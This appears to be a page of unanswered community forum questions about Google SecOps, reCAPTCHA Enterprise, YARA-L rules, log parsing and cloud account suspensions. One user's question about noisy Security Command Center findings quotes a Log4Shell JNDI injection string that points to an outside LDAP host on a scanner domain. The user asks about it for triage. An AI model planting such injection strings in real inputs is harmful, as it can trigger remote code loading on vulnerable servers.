Unanswered questions

First of all this issue appear around 1month ago? Before I am sure that we were able to see highlights.I am having an issue with Highlighted Fields properties not rendering below entity inside the Entities Highlights widget at the bottom of the Alert View/Case View.Specifically, Google SecOps automatically maps our network ranges and populates the Network Name property for IP addresses (ADDRESS entity type). But same is for custom ones created by us that worked previously.Although the data is successfully populated and visible in other parts of the UI, it refuses to appear directly on the entity rows/cards in the main alert view.What I have already checked and verified: Properties Metadata: The Network Name field has both Is displayed and Is highlighted checkboxes checked. Side Panel & Entity Details: The configuration works perfectly for the right-hand side panel (Highlighted Fields section) and inside the SOAR Search -> Entity Details view. The field is there, and the value

Hi Fraud Defense team, Starting 2026-07-17 (zero occurrences before that date), legitimate desktopChrome 150 users on our site began receiving very low reCAPTCHA Enterprisescores (0.1-0.3) with reason code UNEXPECTED_ENVIRONMENT on our sign-inaction, blocking them from logging in. Tokens are fully valid and the actionmatches the expected action -- only the risk score collapsed. Setup: web score-based site key (v3-style), server-side assessments via thereCAPTCHA Enterprise API. Users are mostly in Taiwan on residential ISPs. Evidence that this is browser-version-specific(rejected vs. allowed-with-low-score counts, same site key and threshold,last 2 days):- Chrome 150 desktop: 306 rejected / 22 allowed- Chrome 149 desktop: 2 rejected / 23 allowed- Edge (Chromium 150): 1 rejected / 4 allowed Daily rejected count for Chrome 150: 0 (before Jul 17) -> 98 (Jul 17) ->113 (Jul 18) -> 180 (Jul 19), still rising. Chrome 150 had already beenrolled out for about two weeks before Jul 17, so

Hi All,Anyone has performed a complete end to end implementation of multi tenancy in google secops SOAR SIEM.I need real example with implementation steps for typical GCP environment.Also if any relevant documents will be helpful

I am getting below error while validating my terraform kubernetes app. Can any on ehelm what is the issue?{  "taskReports": [    {      "taskType": "EXECUTE_TERRAFORM_PLAN",      "taskExecutionStatus": "ISSUES_FOUND",      "digest": "Unable to start verification.",      "errorMessage": "Failed to process container images from schema file: Unexpected response.\nHeaders:\nHTTP/1.1 400 Bad Request\r\nContent-Type: application/json; charset=utf-8\r\ndocker-distribution-api-version: registry/2.0\r\nServer: Docker Registry\r\nVary: Accept-Encoding\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nx-gcr-using-artifact-registry: true\r\nx-google-artifactregistry-docker-imageref: us-docker.pkg.dev/cloud-launcher-images-prd/gcr.io/crestdata-public/test-app/test-app:1.0\r\nx-google-gfe-cloud-project-number: 720804119614\r\nX-Google-GFE-Backend-Request-Cost: 48.89476869076971\r\nX-Google-Security-Signals: FRAMEWORK=GOA\r\nX-Google-Security-Signals: ACTION=GOA_ACTION,ENV=borg,ENV

Hi Team,I am not getting what exactly withing the file is matching the signatures of these SCC yara rules can anyone help here please this is first time i am getting this not sure if this is some SCC premium service this triggered this but not able to get if its true or false positive.     

Hello Community Managers,I am posting on behalf of the project owner and urgently asking for guidance or manual escalation.Our GCP project appears to have been affected by credential exposure, hijacked resources, or unauthorized usage.Affected project:- Project name: my digital twin- Project ID: my-digital-twin-5561f- Appeal / Ticket Reference ID: T4RJ5FJRTGPBQAPKNBAOMHF6R4The project was first suspended on May 9, 2026 due to activity related to hijacked resources / malicious activity. We submitted an appeal and explained that a Firebase/API key may have been unintentionally exposed during development, and that remediation steps had been taken.Google restored the project on May 11, 2026 and instructed us to resolve the remaining compliance issues.However, around June 4, 2026, the project appears to have been suspended again after subsequent legitimate use/testing. Since then, we have been unable to access the project normally through the Google Cloud Console. We are redirected to the a

Google Cloud’s agentic architecture provides strong controls for identity, isolation, prompt protection, observability, and tool access.However, once an AI agent is allowed to trigger a consequential operation — such as approving a financial condition, changing an account state, executing a transaction, or closing a security alert — observability alone is not authorization.We are currently testing the following separation of responsibilities for a regulated financial workflow:1. **The AI interprets**   - Understands the user’s intent.   - Retrieves permitted context.   - Selects a potential action and its parameters.   - Produces a proposal, not an authorization.2. **A deterministic policy service authorizes**   - Evaluates the end-user identity, agent identity, tenant, purpose, consent, policy version, transaction parameters, authority limits, and risk constraints.   - Returns either a denial or a short-lived, single-use authorization artifact.   - Operates fail-closed.3. **The transa

Greetings Team,If we do not want to use Google Cloud's native silent log source monitoring, is there any alternative approach using a scheduled YARA-L rule, similar to the one below that runs hourly?I understand that this approach has a few limitations: The rule requires at least one event from the log source within the previous 24 hours  If incase  a log source has been completely silent from the beginning (i.e., no events have been ingested within the 24-hour lookback window), the rule will not detect it. For intermittently logging sources, because the rule is scheduled to run every hour, it will continue to generate an alert every hour until the log source resumes sending logs consistently. i am aware that even  configuring alert suppression to reduce repeated alerts for the same log source, However, will introduces another limitation: if the log source resumes logging and then becomes silent again during the suppression period, the subsequent log stoppage may not be detected beca

Hi,I have wrote a custom actions that gets attachments from the case wall and creates a html table, allowing the user to click a button to download the attachment. This had been working okay but we have now been experiencing this following error:  File "/opt/siemplify/siemplify_server/bin/Scripting/PythonSDK/SiemplifyBase.py", line 170, in validate_siemplify_error raise Exception("{0}: {1}".format(e, response.content))Exception: 500 Server Error: Internal Server Error for url: http://server:80/v1alpha/projects/project/locations/location/instances/instance/legacySdk:legacyAttachmentData?attachmentId=3157&format=snake: b'{"errorCode":2000,"errorMessage":"An error has occurred. Search for Log identifier c55c79701e3341e380d50c8167df02c9 in the Google Cloud Logs Explorer.","innerException":null,"innerExceptionType":null,"correlationId":"c55c79701e3341e380d50c8167df02c9"}'This is happening when calling siemplify.get_attachment(attachment_id), although not entirely consistent but it s

Palo Alto Network Firewall Logs Not Parsing. We are using Palo’s Strata Logging to forward Palo Alto Network Firewall Logs to Google Secops Webhook. Some logs are getting parsed and some are not.When we take a look at the logs not getting parsed it shows the raw logs are coming in as a Stacked JSON with no way to do split delimiter due to the structure of the JSON. Has anyone seen this issue?

Hi all, I am trying to test googles “Data processing using API methods” (No bindplane)I was wondering has anyone tried to use this feature yet and have any tips.I am testing with OKTA_USER_CONTEXT and trying to redact PII but just for testing I am trying to redact the “Title” field. I tried it but not sure if I can redact a whole field using blockedKeyPatterns or does it only work on with blockedValues. Documentation used: Hi all,I am testing Google SecOps Data Processing Pipelines using the API methods directly, without deploying Bindplane agents/collectors. My use case is OKTA_USER_CONTEXT, where I am trying to redact PII from the Okta user profile payload before the data is stored/parsed in Google SecOps.For initial testing, I associated a data processing pipeline to a specific OKTA_USER_CONTEXT and confirmed the pipeline is associated using fetchAssociatedPipeline. The pipeline currently has a redactProcessor. I first tried testing field-based redaction using blockedKeyPatterns aga

Hi Team anyone has any idea on what this low sev SCC findings are actually i am very much confused as most of them are having source IPs as AWS and Google and generating lot of noise also the url contains nessus so not sure why a google / AWS source IP would trigger this :E.g : Source IP100.27.42.240       "refererUrl": "${jndi:ldap://log4shell-generic-lQr0LA9voF9PHEyop2C6${lower:ten}.w.nessus.org/nessus}"and these are generated daily via multiple different AWS and Google IPs as source   

The outer join feature recently described by ​@jstoner is a game-changer for YARA-L, but currently its availability is limited to SEARCH.For detection RULES, while the community has shared a couple workarounds, they each come with tradeoffs:in workaround 1. catch-all row in the datatable + reference list guardrail:- scalability: limit of a max number of data tables allowed per rule- longevity: reference lists to be EoL’ed in July 2027- logic conflict: match section is required, turning single-event rules into multi. If the original rule was single-event and -because of enrichment- it is then applied match by any UUID / metadata.id, that would interfere with the alert throttling, making the throttling ineffective.in workaround 2. ingest the table into the entity graphsame limitation of match section described above.My goal is to perform "left outer joins" (enrichments) directly within detection rules - via Data Tables, ECG, or a similar mechanism, to allow us offload heavy enrichment ta

Ingesting Oracle Cloud audit logs to Google Secops. Could anyone tell me which one is the proper type? or what the difference between this two type of logs in Google Secops?https://docs.cloud.google.com/chronicle/docs/ingestion/default-parsers/oci-audit https://docs.cloud.google.com/chronicle/docs/ingestion/default-parsers/oracle-cloud-auditSuper confusing, In oracle side there seems to be inly one type Oracle Cloud Audit Logs,  no idea which one I’m supposed to use. By reading the documentation in google, I cant tell, not event the desciptions. both are are Oracle cloud audit. Thanks in advance. -Eric

Hello!I have been banned from the Google cloud platform for almost three years (since Dec 22, 2023). I don't know why, I don't know what I've done wrong (if anything). I tried submitting appeals - multiple - but nothing ever works. I only get automated bot replies asking me to provide information (which I already did) and no human ever answers. I practically gave up on appeals since I've provided everything I could but still get only bot replies asking me for more information and not helping at all.I tried contacting other departments (so I could at least speak to a human) but they could never help since it was outside of their scope.My appeal IDs: [removed by moderator] [removed by moderator] [removed by moderator] I don't know to which support to write nor how to resolve this at all. I didn't use the service for any harassment or anything like that.I only had two small projects on there from what I remember. One was a recaptcha test for a website. In the second project, I've been

Hi Team,Could you please suggest the best approach to integrate Microsoft Copilot logs with Google SecOps.Our objective is to monitor and analyze user interactions with Copilot, including:User prompts submitted to Copilot Copilot responses generated for users

Following the integration guide Collect BeyondTrust Endpoint Privilege Management (EPM) logs  |  Google Security Operations  |  Google Cloud Documentation The python script is quite outdated and attempts to use an API endpoint (/v2/AuditEvents) that no longer exists on the BeyondTrust swagger docs. The OAuth scope & endpoint have also changed since the guide was written. I believe the replacement API is /v2/ActivityAudits, but the response would change the JSON structure slightly, which then could cause parsing issues. Has anyone had any luck with onboarding this source to SecOps? Fairly new to SecOps, but is there a way to submit a ticket and have someone create an updated guide/script/parser?  

I'm trying to calculate mttr and mtta per environment; this metric is important for each existing environment. Does anyone know how I can do this in the case_history table?I notice that the `cases` table contains the `cases.environment` field. Is it possible to perform this calculation using that table?MMTR: stage stage1{$case_id = case_history.case_response_platform_info.case_idmatch:    $case_idoutcome:    $case_close_time = max(if(case_history.case_activity = "CLOSE_CASE", case_history.event_time.seconds, 0))    $status = array_distinct(case_history.case_activity)    $TTC = $case_close_time - min(case_history.event_time.seconds)condition:    arrays.contains($status, "CREATE_CASE") and arrays.contains($status, "CLOSE_CASE")        }outcome:    $case_count = count($stage1.case_id)    $MTTC = (math.round(avg($stage1.TTC)/60))MTTA:stage stage1{$case_id = case_history.case_response_platform_info.case_idmatch:    $case_idoutcome:    $case_assign_time = min(if(case_history.case_activity =

Hello Google SecOps Community,I am facing an issue with a dashboard query that retrieves custom field values from SOAR cases.The dashboard was working correctly until last week, and no changes were made to the query. However, it has recently started failing with the following error:“compilation error query uses a feature that is not yet allowed: invalid argument” The error occurs specifically when querying custom field values. The same dashboard and query were previously returning results without any issues.I've already verified:No changes were made to the dashboard query. The custom fields still exist and contain data. The issue started suddenly after the dashboard had been functioning normally.Has anyone else experienced a similar issue recently? Is there a known change, limitation, or update related to custom field queries that could cause previously working queries to fail with an "invalid argument" error?Any guidance or recommendations would be greatly appreciated.Thank you!

Hello all, We have a use case where we want to fetch a list of filtered playbooks. We have a bunch of playbooks in a specific environment, but only some should pass through the filter -e.g. we only want containment playbooks returned rather than enrichment playbooks.The only API method I know of is this: ApiWorkflowMenuCardDefinitionDataModel  |  Google Security Operations  |  Google Cloud Documentation but there it looks like the only filtering option is client side by string filtering on the playbook name (e.g. only fetch playbooks with a particular string component in the name).Does anyone know of other Chronicle API options? 

Hey everyone, Can a Google SecOps Line Graph display multiple metrics (different numeric fields) in the same chart, or is it limited to a single Y-axis metric?For example, if my query returns:Date Hostname Current_Usage Historical_Average Historical_ThresholdCan a single Line Graph plot the three numeric fields (Current_Usage, Historical_Average, and Historical_Threshold) as three separate colored lines over time, or is one Line Graph limited to only one numeric field?Thank you ^.^

I want to create a rule where the prinicpal ip should not be a private ip. However, we see that the principal ip is containing 2 comma separated values (ipv4, ipv6). I want to split these values so that we can use a data table to store the private ip range range and compare one of the IP from the data table. How can i do that

When checking the score-distribution on https://console.cloud.google.com/security/recaptcha/the scores dropped from this (first week of June) to this (first week of July)Obviously, this has a major impact on our users (schools & pupils, often starting our app at more or less the same time)Any idea why this is happening?  What I can do to improve this? ...

I am looking for complete list of TOR IP’s from GCTI feed.when i try to run a search for gloabl_context it is giving me only 50 for any time period  

How do I automate the process of sending email notifications to team, if SOAR playbook gets failed in Google SecOps SOAR. It should be real time. So that team can quickly check and fix the issue.